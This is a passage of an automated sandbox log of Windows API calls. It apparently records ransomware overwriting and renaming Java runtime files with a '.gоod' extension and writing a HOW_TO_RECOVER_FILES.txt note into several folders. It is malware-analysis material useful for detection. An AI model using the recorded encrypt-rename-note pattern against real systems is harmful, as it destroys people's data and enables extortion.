lpOverlapped=0x0) returned 1 [0080.145] CloseHandle (hObject=0x778) returned 1 [0080.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0080.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0080.145] GetFileType (hFile=0x778) returned 0x1 [0080.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0080.145] GetFileType (hFile=0x778) returned 0x1 [0080.145] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x30240 [0080.146] WriteFile (in: hFile=0x778, lpBuffer=0x353b2c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x353b2c0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0080.146] CloseHandle (hObject=0x778) returned 1 [0080.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0080.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0080.152] GetFileType (hFile=0x778) returned 0x1 [0080.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0080.152] GetFileType (hFile=0x778) returned 0x1 [0080.152] ReadFile (in: hFile=0x778, lpBuffer=0x353d560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x353d560*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0080.522] CloseHandle (hObject=0x778) returned 1 [0080.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0080.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0080.522] GetFileType (hFile=0x778) returned 0x1 [0080.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0080.522] GetFileType (hFile=0x778) returned 0x1 [0080.522] WriteFile (in: hFile=0x778, lpBuffer=0x31d3f10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x31d3f10*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0080.523] CloseHandle (hObject=0x778) returned 1 [0080.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x0) returned 0x34 [0080.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.gоod", lpFilePart=0x0) returned 0x39 [0080.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0080.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2c36b343, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30250)) returned 1 [0080.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0080.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.gоod")) returned 1 [0080.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0080.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin", lpFilePart=0x0) returned 0x2f [0080.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.528] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.528] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0080.528] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.529] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0080.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0080.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin", lpFilePart=0x0) returned 0x2f [0080.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.529] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0080.530] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0080.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0080.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0080.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0080.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x798 [0080.757] GetFileType (hFile=0x798) returned 0x1 [0080.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0080.758] GetFileType (hFile=0x798) returned 0x1 [0081.152] WriteFile (in: hFile=0x798, lpBuffer=0x3365aa8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x3365aa8*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0081.153] CloseHandle (hObject=0x798) returned 1 [0081.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0081.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2", lpFilePart=0x0) returned 0x2e [0081.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0081.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0081.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0081.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.155] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0081.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0081.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0081.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0081.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2", lpFilePart=0x0) returned 0x2e [0081.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0081.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0081.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1 [0081.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0 [0081.156] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0081.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0081.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0081.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0081.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0081.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x798 [0081.156] GetFileType (hFile=0x798) returned 0x1 [0081.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0081.156] GetFileType (hFile=0x798) returned 0x1 [0081.157] WriteFile (in: hFile=0x798, lpBuffer=0x33771c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x33771c8*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0081.158] CloseHandle (hObject=0x798) returned 1 [0081.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0081.158] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server", lpFilePart=0x0) returned 0x2d [0081.158] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0081.159] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.159] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0081.159] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0081.159] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0081.159] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.159] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0081.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0081.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 